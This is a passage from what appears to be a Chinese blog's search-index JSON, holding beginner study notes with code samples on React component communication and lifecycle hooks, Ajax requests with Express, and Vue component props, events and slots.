\u0026quot;root\u0026quot;\r}\rrender(){\rconsole.log(this.props)\rreturn(\r\u0026lt;div\u0026gt;数据：\r\u0026lt;Hallo name={this.state.Name}/\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;Hi/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r子组件传递数据给父组件\n通过回调函数，父组件提供回调，子组件调用，将数据通过回调函数的参数传递，例如：\nclass Abc extends React.Component{\rstate = {name: \u0026quot;root\u0026quot;}\rDataClick = () =\u0026gt;{\rthis.props.getMsg(this.state.name)\r}\rrender(){\rreturn (\r\u0026lt;div onClick={this.DataClick}\u0026gt;yes\u0026lt;/div\u0026gt;\r)\r}\r}\rclass Hi extends React.Component{\rstate = {\rName: \u0026quot;默认值\u0026quot;\r}\rgetDate = data =\u0026gt;{\rconsole.log(data)\rthis.setState({\rName: data\r})\r}\rrender(){\rreturn(\r\u0026lt;div\u0026gt;数据：{this.state.Name}\r\u0026lt;Abc getMsg = {this.getDate}/\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;Hi/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r兄弟组件通讯\n将共享状态提升到最近的公共父组件中，由公共父组件管理这个状态（状态提升）\n公共父组件：提供共享状态，提供操作共享状态的方法\nA组件修改共享状态，公共父组件收到新的状态，B组件通过props接收到新的状态，从而达到兄弟组件之间的通讯\n例如：\nclass Hallo extends React.Component{\rstate = {\rcount: 0\r}\ronMax = () =\u0026gt;{\rthis.setState({\rcount: this.state.count +1\r})\r}\rrender(){\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;Abc count={this.state.count}/\u0026gt;\r\u0026lt;Xyz onMax = {this.onMax}/\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rconst Abc = (props) =\u0026gt; {\rreturn (\r\u0026lt;div\u0026gt;\rhallo,{props.count}\r\u0026lt;/div\u0026gt;\r)\r}\rconst Xyz = (props) =\u0026gt; {\rreturn (\r\u0026lt;div onClick = {() =\u0026gt; props.onMax()}\u0026gt;\rxyz\r\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\u0026lt;Hallo /\u0026gt;,document.getElementById(\u0026quot;root\u0026quot;))\rContext（跨组件传递数据）\nContext实质上就是生产者-消费者模式\n调用React.createContext()，创建provide（提供数据）和consumer（获取数据）这两个组件\nconst {Provide,Consumer} = React.createContext()\n通过value属性提供数据，然后通过回调函数来获取到value的数据\n例如：\nconst {Provider,Consumer} = React.createContext()\rclass Hallo extends React.Component{\rstate = {\rcount: 0\r}\ronMax = () =\u0026gt;{\rthis.setState({\rcount: this.state.count +1\r})\r}\rrender(){\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;Provider value = \u0026quot;react\u0026quot;\u0026gt;\r\u0026lt;Abc /\u0026gt;\r\u0026lt;/Provider\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rconst Abc = (props) =\u0026gt; {\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;Consumer\u0026gt;\r{\rdata =\u0026gt; \u0026lt;div\u0026gt;hallo,{data}\u0026lt;/div\u0026gt;\r}\r\u0026lt;/Consumer\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rprops深入学习\nchildren属性：表示组件标签的子节点，当组件标签有子节点时，props就会拥有该属性\nchildren属性值可以是任意值（文本，jsx，组件，函数等等）\nchildren属性指向到当前子节点的数据，{props.children}，例如：\nconst Button = () =\u0026gt; (\r\u0026lt;button\u0026gt;\r我是一个button组件\r\u0026lt;/button\u0026gt;\r)\rconst Yes = (props) =\u0026gt;{\rreturn(\r\u0026lt;div\u0026gt;\r组件的子节点：{props.children}\r\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\u0026lt;Yes\u0026gt;\u0026lt;Button/\u0026gt;\u0026lt;/Yes\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\rprops校验（保证组件传入指定合法格式的数据）\n安装prop-types\nyarn add prop-types\n导入prop-types包并且建立个props校验实例\nimport propTypes from \u0026quot;prop-types\u0026quot;\rclass Noabc extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;hallo,{this.props.name}\u0026lt;/div\u0026gt;\r)\r}\r}\rNoabc.propTypes = {\rname: propTypes.string\r}\rReactDOM.render(\u0026lt;Noabc name=\u0026quot;react\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r当传入的值的类型不对，将抛出错误\nprops默认值\n给props设置默认值，在未传入props时生效\nclass Defaultabc extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;props的默认值：{this.props.Defaultdata}\u0026lt;/div\u0026gt;\r)\r}\r}\rDefaultabc.defaultProps = {\rDefaultdata: 999\r}\rReactDOM.render(\u0026lt;Defaultabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r单向数据流：指的是当前组件的state以props的形式流动时，只能流向组件树中比自己层级低的组件，不能向上流，也就是说可父传子，祖先传后辈，但是不能子传父\n父传子通信，基于数据流单向的特性，父组件可以直接将this.props传入子组件中\n子传父通信，因为数据流单向的特性，不能直接将数据传递给父组件，而是通过父组件传递子组件一个携带了上下文的函数，子组件得到这个函数后，传递给父组件的数据将以函数参数的形式发送回去\n兄弟通信，利用父传子通信的特性，可以在两个兄弟组件之上创建一个父组件，来当中间件，实质上还是父传子通信\n消息订阅与发布机制是组件通信的万金油，这边使用的是PubSubjs\n安装\nnpm i pubsub-js\n引入\nimport PubSub from \u0026lsquo;pubsub-js\u0026rsquo;\n只需要在父组件（祖先组件）中发布，然后在子组件（后辈组件）中订阅，就可以实现了\n发布\nPubSub.publish(\u0026rsquo;test\u0026rsquo;,\u0026lsquo;hallo word\u0026rsquo;)\n发布信息实质是就是发送数据\n订阅\nconst DataMain = PubSub.subscribe(\u0026rsquo;test\u0026rsquo;,data)\n其中data就是\u0026rsquo;hallo word\u0026rsquo;的数据，订阅是获取发布的数据\n取消订阅\nPubSub.unsubscribe(DataMain)\n组件的生命周期\n组件的生命周期有利于掌握组件的运行方式，实现更复杂的组件功能，分析组件错误原因\n生命周期：被创建，到挂载页面，卸载组件的过程\n生命周期的每个阶段都可以伴随一些方法来调用，而这些方法就是生命周期的钩子函数（和vue的生命周期概念是一样的）\n注意：只有类组件才有生命周期，函数组件没有\n创建时：当组件被创建时（页面加载时），constructor() -\u0026gt; render() -\u0026gt; componentDidMount()\n例如：\nclass Defaultabc extends React.Component{\rconstructor(props){\rsuper(props)\rconsole.log(\u0026quot;constructor钩子被触发\u0026quot;)\r}\rcomponentDidMount(){\rconsole.log(\u0026quot;componentDidMount钩子被触发\u0026quot;)\r}\rrender(){\rconsole.log(\u0026quot;render钩子被触发\u0026quot;)\rreturn(\r\u0026lt;div\u0026gt;hallo react\u0026lt;/div\u0026gt;\r)\r}\r}\rconstructor钩子在创建组件时触发，初始化state，为事件程序绑定this\nrender钩子在组件渲染时触发，渲染视图，注意：不要在render下使用setState方法\ncomponentDidMount钩子在组件被挂载后触发（完成DOM渲染），发送网络请求，DOM操作\n更新时：\n当一个组件接收到新属性（new props）时，使用setState()，强制更新forceUpdate()都会触发重新渲染\n例如：\nclass Maxabc extends React.Component{\rconstructor(props){\rsuper(props)\rthis.state = {\rcount: 0\r}\r}\rgoClick = () =\u0026gt;{\rthis.setState({\rcount: this.state.count + 1\r})\r}\rcomponentDidUpdate(){\rconsole.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;)\r}\rrender(){\rconsole.log(\u0026quot;reder钩子被触发\u0026quot;)\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;hallo,{this.state.count}\u0026lt;/div\u0026gt;\r\u0026lt;button onClick={this.goClick}\u0026gt;go\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;Maxabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r在这个实例可以看出，只要使用setState方法改变了数据，就会重新渲染组件，同时如果没有更新，就不触发componentDidUpdate钩子，当发生更新才会触发\ncomponentDidUpdate钩子：发生网络请求，DOM操作，注意：如果需要setState()，需要放在一个if条件中，传入prevProp参数，获取上一次更新的props，this.props可以获取到当前的props\n例如：\ncomponentDidUpdate(prevProp){\rconsole.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;)\rif(prevProp.count !== this.props.count){\rthis.setState({})\r}\r}\r判断条件为更新前的props是否和当前的props不相等\n卸载时：当组件从页面中卸载时\ncomponentWillUnmount钩子：当组件被卸载时触发，可以用来执行清理工作等等\n例如：\nclass Maxabc extends React.Component{\rcomponentDidUpdate(prevProp){\rconsole.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;)\rif(prevProp.count !== this.props.count){\rthis.setState({})\r}\r}\rconstructor(props){\rsuper(props)\rthis.state = {\rcount: 0\r}\r}\rgoClick = () =\u0026gt;{\rthis.setState({\rcount: this.state.count + 1\r})\r}\rrender(){\rconsole.log(\u0026quot;reder钩子被触发\u0026quot;)\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;p\u0026gt;\r点击数：{this.state.count}\r\u0026lt;/p\u0026gt;\r{\rthis.state.count \u0026gt;= 10 ? \u0026lt;p\u0026gt;已经点击了10次\u0026lt;/p\u0026gt; : \u0026lt;Gabc/\u0026gt;\r}\r\u0026lt;button onClick={this.goClick}\u0026gt;go\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rclass Gabc extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;\r)\r}\rcomponentWillUnmount(){\rconsole.log(\u0026quot;componentWillUnmount钩子被触发\u0026quot;)\r}\r}\rReactDOM.render(\u0026lt;Maxabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r清理（例如定时器），例如：\nclass Gabc extends React.Component{\rcomponentDidMount(){\rthis.timeId = setInterval(()=\u0026gt;{\rconsole.log(\u0026quot;定时器执行中\u0026quot;)\r},1000)\r}\rrender(){\rreturn(\r\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;\r)\r}\rcomponentWillUnmount(){\rconsole.log(\u0026quot;componentWillUnmount钩子被触发\u0026quot;)\rclearInterval(this.timeId)\r}\r}\r当卸载事件发生，就执行清除定时器，使用clearInterval()方法清除\n注意：如果创建了一些不是组件本身的事件（例如定时器），一定要在组件被卸载的时候清除，避免一些奇怪的问题发生\nrender-props和高阶组件（HOC）\n复用相似功能（复用状态state，组件状态的逻辑）\nrender-props模式\n将复用状态state，组件状态的逻辑封装到一个组件中\n添加一个值为函数的prop，通过函数参数来获取，通过该函数的返回值作为要渲染的内容\n将复用的状态作为props.render(state)方法的参数，暴露到组件的外部\n例如：\nclass Hello extends React.Component{\rstate = {\rx: 0,\ry: 0\r}\ryesClick = (e) =\u0026gt;{\rthis.setState({\rx: e.clientX,\ry: e.clientY\r})\r}\rcomponentDidMount(){\rwindow.addEventListener(\u0026quot;mousemove\u0026quot;,this.yesClick)\r}\rrender(){\rreturn this.props.render(this.state)\r}\r}\rclass App extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;\r\u0026lt;Hello render = {(mouse) =\u0026gt;{\rreturn(\r\u0026lt;p\u0026gt;\r鼠标坐标：{mouse.x},{mouse.y}\r\u0026lt;/p\u0026gt;\r)\r}}/\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\r也可以使用children代替render属性，例如：\nclass Hello extends React.Component{\rstate = {\rx: 0,\ry: 0\r}\ryesClick = (e) =\u0026gt;{\rthis.setState({\rx: e.clientX,\ry: e.clientY\r})\r}\rcomponentDidMount(){\rwindow.addEventListener(\u0026quot;mousemove\u0026quot;,this.yesClick)\r}\rrender(){\rreturn this.props.children(this.state)\r}\r}\rclass App extends React.Component{\rrender(){\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;\r\u0026lt;Hello\u0026gt;\r{\rmouse =\u0026gt;{\rreturn(\r\u0026lt;p\u0026gt;\r鼠标坐标：{mouse.x},{mouse.y}\r\u0026lt;/p\u0026gt;\r)\r}\r}\r\u0026lt;/Hello\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rReactDOM.render(\u0026lt;App/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r可以给render props模式加props校验\n应该在组件卸载时解除mousemove事件绑定（只要不是react的事件，都应该进行清除其他事件，例如window事件）\ncomponentWillUnmount(){\rwindow.removeEventListener(\u0026quot;mousemove\u0026quot;,this.handleMouseMove)\r}\r高阶组件\n高阶组件（HOC，Higher-Order Component），实质上就是一个函数，接收要包装的组件，返回增强后的组件\n高阶组件实质上就是给组件进行“包装”，通过“包装”来增强组件的功能\n高阶组件内部会创建一个类组件，在这个类组件中提供状态逻辑程序，通过prop将复用状态传递给被包装组件\n创建函数，函数名一般是with开头，函数参数是要渲染的组件，因此参数是大写字母开头\n在该函数中创建个类组件，提供复用的状态逻辑程序，状态通过prop传递给参数组件\n例如：\nconst withHallo = (DemoAbc) =\u0026gt;{\rreturn class App extends React.Component{\rstate = {\rx: 0,\ry: 0\r}\ronAbc = (e) =\u0026gt;{\rthis.setState({\rx: e.clientX,\ry: e.clientY\r})\r}\rrender() {\rreturn (\r\u0026lt;div onMouseMove= {this.onAbc}\u0026gt;\r\u0026lt;DemoAbc {...this.props} mouse={this.state}/\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rcomponentDidMount(){\rwindow.addEventListener(\u0026quot;mousemove\u0026quot;,this.onAbc)\r}\r// eslint-disable-next-line react/no-typos\rcomponentWillunmount(){\rwindow.removeEventListener(\u0026quot;mousemove\u0026quot;,this.onAbc)\r}\r}\r}\rconst PostMax = (props) =\u0026gt;{\rconst { x, y } = props.mouse\rreturn (\r\u0026lt;div \u0026gt;\r\u0026lt;p\u0026gt;(x:{x}, y:{y})\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r) }\rconst Demoyes = withHallo(PostMax)\rReactDOM.render(\u0026lt;Demoyes /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r可以从上面的实例看出，实质上就是通过函数参数方式接收一个组件，再返回一个新的组件，达到“包装”更多的功能给组件\n使用高阶组件会导致获得的组件名称相同，名称取自于高阶组件中的类组件名称\n通过设置displayName，来区分不同的组件，displayName是用来设置调试信息（react developer tools消息）的\n可以通过react developer tools浏览器插件查看效果\n通过给高阶组件中的类组件设置displayName，例如：\nconst withHallo = (DemoAbc) =\u0026gt;{\rclass App extends React.Component{\r......\r}\rApp.displayName = `WithHallo${ADisplayName(DemoAbc)}`\rreturn App\r}\rfunction ADisplayName(DemoAbc){\rreturn DemoAbc.displayName || DemoAbc.name || \u0026quot;Component\u0026quot;\r}\r传递props（避免props丢失）\n通过高阶组件返回的组件中，是获取不到props的，因为数据都传递给高阶组件中的类组件了（高阶组件没有往下传递props）\n只需要将state和this.props一起传递就可以解决，例如：\nrender() {\rreturn (\r\u0026lt;div onMouseMove= {this.onAbc}\u0026gt;\r\u0026lt;DemoAbc {...this.state} {...this.props} mouse={this.state}\u0026gt;\u0026lt;/DemoAbc\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rconst PostMax = (props) =\u0026gt;{\rconst { x, y } = props.mouse\r// eslint-disable-next-line no-undef\rconsole.log(props)\rreturn (\r\u0026lt;div \u0026gt;\r\u0026lt;p\u0026gt;(x:{x}, y:{y})\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r) }\rconst Demoyes = withHallo(PostMax)\rReactDOM.render(\u0026lt;Demoyes a=\u0026quot;hallo\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;))\r通过上面的方法向下传递props就能获取到a的值了， {\u0026hellip;this.state} {\u0026hellip;this.props}\n","permalink":"https://xiaochenabc123.github.io/posts/55/","summary":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt;\rReactDOM.render(\r\u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r\u0026lt;/script\u0026gt;\r使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = \u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;;\r像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){\rreturn yes.name;\r}\rconst yes = {\rname: \u0026quot;react\u0026quot;\r};\rconst hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;;\rReactDOM.render(\rhallo,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r);\r当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;))\r/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */\rReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;))\r/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/\rreact脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react","title":"React学习笔记"},{"content":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express\rconst express = require(\u0026quot;express\u0026quot;);\r// 导入path\rconst patg = require(\u0026quot;path\u0026quot;);\r// 创建web服务器\rconst app = express();\r// 静态资源访问服务\rapp.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;)));\rapp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send(\u0026quot;hallo\u0026quot;);\r});\r// 监听端口\rapp.listen(3000);\rconsole.log(\u0026quot;服务器启动成功\u0026quot;)\rnodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){\rconsole.log(hallo.responseText)\r}\r服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;});\r});\rjson字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText);\rconsole.log(responseText)\rvar str = \u0026quot;\u0026lt;div\u0026gt;\u0026quot;+ responseText.name +\u0026quot;\u0026lt;/div\u0026gt;\u0026quot;;\rdocument.body.innerHTML = str;\r请求参数传递\nget请求\nhallo.open(\u0026ldquo;get\u0026rdquo;,\u0026ldquo;https://httpbin.org/get?name=hallo\u0026amp;pass=123\u0026quot;)\nvar hallo = \u0026ldquo;name=\u0026quot;+ names + \u0026ldquo;\u0026amp;pass=\u0026rdquo; + pass\n表单的数据获取\nhallo.value\npost请求参数\npost请求参数是保存到请求头中的报文，不像get是通过链接参数传输的\nhallo.setRequestHeader(\u0026ldquo;Content-Type\u0026rdquo;,\u0026ldquo;application/x-www-forn-urlencoded\u0026rdquo;)\nhallo.send(\u0026ldquo;name=root\u0026amp;pass=123\u0026rdquo;)\npost请求必须设置请求参数格式的类型\npost请求需要body-parser模块\nconst bodyParser = require(\u0026ldquo;body-parser\u0026rdquo;)\njson\nContent-Type属性：application/json\n{name: \u0026ldquo;root\u0026rdquo;,\u0026ldquo;pass\u0026rdquo;: \u0026ldquo;123\u0026rdquo;}\n将json对象转换为json字符串\nJSON.stringify()\najax错误处理\n获取http状态码\nhallo.status()\n","permalink":"https://xiaochenabc123.github.io/posts/54/","summary":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express\rconst express = require(\u0026quot;express\u0026quot;);\r// 导入path\rconst patg = require(\u0026quot;path\u0026quot;);\r// 创建web服务器\rconst app = express();\r// 静态资源访问服务\rapp.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;)));\rapp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send(\u0026quot;hallo\u0026quot;);\r});\r// 监听端口\rapp.listen(3000);\rconsole.log(\u0026quot;服务器启动成功\u0026quot;)\rnodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){\rconsole.log(hallo.responseText)\r}\r服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{\rres.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;});\r});\rjson字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText);\rconsole.","title":"Ajax学习笔记"},{"content":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst datas ={\rtemplate: `\r\u0026lt;div\u0026gt;\rhallo\r\u0026lt;/div\u0026gt;\r`\r}\rconst hallo = Vue.createApp({\rcomponents: {\r\u0026quot;datas-a\u0026quot; : datas\r}\r}).mount('#app')\r\u0026lt;/script\u0026gt;\rcomponents对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={\rcomponents: {\r\u0026quot;datas-a\u0026quot; : dataa\r}\r}\r模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({\rcomponent: {\rprops:{\rabc: String,\rxyz: Boolean,\r},\rtemplate: `\u0026lt;h1\u0026gt;{{abc.text}}-{{xyz.text}}\u0026lt;h1\u0026gt;`\r}\r}).mount('#app')\r如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop\n传入数字\n传入布尔值\n传入数组\n传入对象\n单向数据流\n父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件\n父组件发生变化时，子组件的prop都会刷新为当前最新的值\n属性继承\n可以在组件中写属性，例如：\ntemplate: \\`\u0026lt;div class=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\\`\r同样也是可以在组件写事件监听器之类的\n禁用属性继承\ninheritAttrs: false,\rtemplate: \\`\u0026lt;div class=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\\`\r包含未被props接收的参数\nthis.$attrs\n可以根据需求来传入属性，例如：\n\u0026lt;test class=\u0026quot;data\u0026quot;\u0026gt;\u0026lt;/test\u0026gt;\r\u0026lt;div :class=\u0026quot;$attrs.class\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r父子组件之间通过事件进行通信\nvue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父\n因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件\n自定义事件\n如果定义了原生事件，那么组件的事件将会代替原生事件\nemits选项可以定义事件\n兄弟（非父子）组件数据交互\n通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信\n这个事件中心叫Vue事件总线（EventBus）\nlet hallo = new Vue()\n监听事件和销毁事件\nhallo.$on(\u0026ldquo;onadd\u0026rdquo;, onAdd)\nhallo.$off(\u0026ldquo;onadd\u0026rdquo;)\n触发事件\nhallo.$emit(\u0026ldquo;onadd\u0026rdquo;, id)\n组件插槽\nconst app = Vue.createApp({\rtemplate: `\r\u0026lt;div\u0026gt;\r\u0026lt;hallo\u0026gt;\r\u0026lt;test/\u0026gt;\r\u0026lt;/hallo\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\rapp.component('test', {\rtemplate: `\u0026lt;span\u0026gt;hahaha\u0026lt;/span\u0026gt;`\r})\rapp.component('hallo', {\r// props: ['num'],\rtemplate: `\r\u0026lt;div\u0026gt;hallo word\r\u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示\n当插槽使用了动态数据时，以根组件的data属性为准\n插槽默认值\napp.component('test',{\rtemplate:`\r\u0026lt;div\u0026gt;\rdata：\u0026lt;slot\u0026gt;\u0026lt;span\u0026gt;hallo word\u0026lt;/span\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\r当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素\n具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配\n当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：\nconst app = Vue.createApp({\rtemplate: ` \u0026lt;test\u0026gt;\r\u0026lt;template v-slot:a\u0026gt;\u0026lt;div\u0026gt;我是第一个\u0026lt;/div\u0026gt;\u0026lt;/template\u0026gt;\r\u0026lt;template v-slot:b\u0026gt;\u0026lt;div\u0026gt;我是第三个\u0026lt;/div\u0026gt;\u0026lt;/template\u0026gt;\r\u0026lt;/test\u0026gt;\r`\r})\rapp.component('test',{\rtemplate:`\r\u0026lt;div\u0026gt;\r\u0026lt;slot name=\u0026quot;a\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;\r\u0026lt;slot name=\u0026quot;b\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r另外v-slot可以简写成#a\n作用域插槽可以访问子组件定义的数据，例如：\nconst app = Vue.createApp({\rtemplate: ` \u0026lt;test v-slot=\u0026quot;props\u0026quot;\u0026gt; {{props.item}}\r\u0026lt;/test\u0026gt;\r`\r})\rapp.component('test', {\rdata() {\rreturn {\ritems: ['hallo', 'hahaha','abc','hallo word','xyz']\r}\r},\rtemplate: `\r\u0026lt;ul\u0026gt;\r\u0026lt;li v-for=\u0026quot;(item, index) in items\u0026quot;\u0026gt;\r\u0026lt;slot :item=\u0026quot;item\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt;\r\u0026lt;/li\u0026gt;\r\u0026lt;/ul\u0026gt;\r`\r})\r其中props是子组件传递过来的数据（对象格式）\n简化作用域插槽写法\nconst app = Vue.createApp({\rtemplate: ` \u0026lt;test v-slot={item}\u0026gt; {{item}}\r\u0026lt;/test\u0026gt;\r`\r})\r动态组件\nconst app = Vue.createApp({\rdata(){\rreturn {\rhallo:'test'\r}\r},\rtemplate: ` \u0026lt;keep-alive\u0026gt;\r\u0026lt;component :is=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/component\u0026gt;\r\u0026lt;/keep-alive\u0026gt;\r`\r})\rapp.component('test', {\rtemplate: `\r\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;\r\u0026lt;input 